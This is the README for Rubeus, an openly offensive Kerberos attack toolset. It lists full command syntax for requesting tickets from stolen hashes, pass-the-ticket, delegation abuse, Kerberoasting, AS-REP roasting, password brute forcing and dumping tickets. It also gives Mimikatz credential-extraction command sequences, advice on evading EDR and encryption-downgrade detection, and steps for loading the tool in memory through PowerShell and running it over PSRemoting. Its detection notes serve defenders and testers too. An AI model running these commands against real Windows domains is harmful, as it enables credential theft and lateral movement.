Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Charlie Clark and Ceri Coburn have both made significant contributions to the Rubeus codebase. Elad Shamir contributed some essential work for resource-based constrained delegation. Their work is very appreciated!
@harmj0y is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
Command Line Usage
______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.2 Ticket requests and renewals: Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /create netonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain: DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Constrained delegation abuse: Perform S4U constrained delegation abuse: Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] Perform S4U constrained delegation abuse across domains: Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser :USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] Ticket management: Submit a TGT, optionally targeting a specific LUID (if elevated): Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID] Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): Rubeus.exe purge [/luid:LOGINID] Parse and describe a ticket (service ticket or TGT): Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> Ticket extraction and harvesting: Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: Rubeus.exe tgtdeleg [/target:SPN] Monitor every /interval SECONDS (default 60) for new TGTs: Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] Roasting: Perform Kerberoasting: Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap] Perform Kerberoasting, outputting hashes to a file: Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] Perform Kerberoasting, outputting hashes in the file output format, but to the console: Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap] Perform Kerberoasting with alternate credentials: Rubeus.exe kerberoast /creduser:DOMAIN. FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap] Perform Kerberoasting with an existing TGT: Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap] Perform Kerberoasting with an existing TGT using an enterprise principal: Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap] Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/nowrap] Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: Rubeus.exe kerberoast /usetgtdeleg [/nowrap] Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: Rubeus.exe kerberoast /rc4opsec [/nowrap] List statistics about found Kerberoastable accounts without actually sending ticket requests: Rubeus.exe kerberoast /stats [/nowrap] Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/nowrap] Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/nowrap] Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: Rubeus.exe kerberoast /delay:5000 /jitter:30 [/nowrap] Perform AES Kerberoasting: Rubeus.exe k erberoast /aes [/nowrap] Perform AS-REP "roasting" for any users without preauth: Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap] Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file: Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] Perform AS-REP "roasting" for any users without preauth using alternate credentials: Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/nowrap] Miscellaneous: Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID: Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] Reset a user's password from a supplied TGT (AoratoPw): Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] Substitute an sname or SPN into an existing service ticket: Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap] Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap] Display the current user's LUID: Rubeus.exe currentluid The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified. The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function. NOTE: Base64 ticket blobs can be decoded with : [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.
Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating "everything is stealthy until someone is looking for it" - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in Matt Graeber and Lee Christensen’s Black Hat USA 2018 “Subverting Sysmon” talk and associated whitepaper.
From the host perspective, Rubeus can be caught during initial weaponization of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4_hmac use in tickets in a modern environment).
From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256_cts_hmac_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".
One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run through PowerShell (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we do not release compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a library then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembl y execution (like Cobalt Strike's
execute_assembly) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.
Also, AMSI (the Antimalware Scan Interface) has been added to .NET 4.8. Ryan Cobb has additional details on the offensive implications of this in the Defense section of his “Entering a Covenant: .NET Command and Control” post.
Example: Credential Extraction
Say we have elevated access on a machine and want to extract user credentials for reuse.
Mimikatz is the swiss army knife of credential extraction, with multiple options. The
sekurlsa::logonpasswords command will open up a read handle to LSASS, enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. Sidenote: the
sekurlsa::ekeys command will enumerate ALL key types present for the Kerberos package.
Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the tgtdeleg command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a GetSystem equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.
Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:
mimikatz # privilege::debugmimikatz # token::elevatemimikatz # standard::base64 /output:truemimikatz # kerberos::list /export
Mimikatz can also carve tickets directly out of LSASS' memory with:
mimikatz # privilege::debugmimikatz # standard::base64 /output:truemimikatz # sekurlsa::tickets /export
As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.
Say we recover a user's rc4_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.
Sidenote: pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by Benjamin Delpy and Skip Duckwall (see their "Abusing Microsoft Kerberos - Sorry you guys don't get it" presentation for more information). This approach turns a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user i nto a fully-fledged ticket-granting-ticket (TGT).
Let's compare "over-passing-the-hash" via Mimikatz'
sekurlsa::pth command verus using the
asktgt command from Rubeus (or Kekeo if you'd like).
sekurlsa::pth is used to over-pass-the-hash, Mimikatz first creates a new logon type 9 process with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then patched into the appropriate section for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.
asktgt command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the
/ptt flag is passed.
With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with
/ptt), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the
/createnetonly command to create a sacrificial process/logon session, then using
/ptt /ticket:X /luid:0xa.. with the newly created process LUID. If using Cobalt Strike, using the make_token command with dummy credentials and then kerberos_ticket_use with the ticket retrieved by Rubeus will let you apply t he new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.
It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.
Sidenote: one way both approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz'
sekurlsa::ekeys module to return ALL Kerberos encryption keys (same with
lsadump::dcsync) which are better to use when trying to evade some detections.
We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
Rubeus has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.
Targeting other .NET versions
Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to Project -> Rubeus Properties and change the "Target framework" to another version.
Sidenote: Building Rubeus as a Library
To build Rubeus as a library, under Project -> Rubeus Properties -> change Output type to Class Library. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways:
// pass the Main method the arguments you wantRubeus.Program.Main("dump /luid:3050142".Split());// or invoke specific functionality manuallyRubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());
You can then use ILMerge to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file.
Sidenote: Running Rubeus Through PowerShell
If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt
Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string):
$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows:
Or individual functions can be invoked:
$TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET')# start mmc.exe as netonly, not-hidden$LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true)# apply the ticket to mmc's logon session[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)
Sidenote Sidenote: Running Rubeus Over PSRemoting
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Rubeus has a function to help with that.
If you follow the instructions in Sidenote: Running Rubeus Through PowerShell to create a Rubeus.ps1, append something like the following to the script:
You should then be able to run Rubeus over PSRemoting with something like the following:
$s = New-PSSession dc.theshire.localInvoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1
/consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.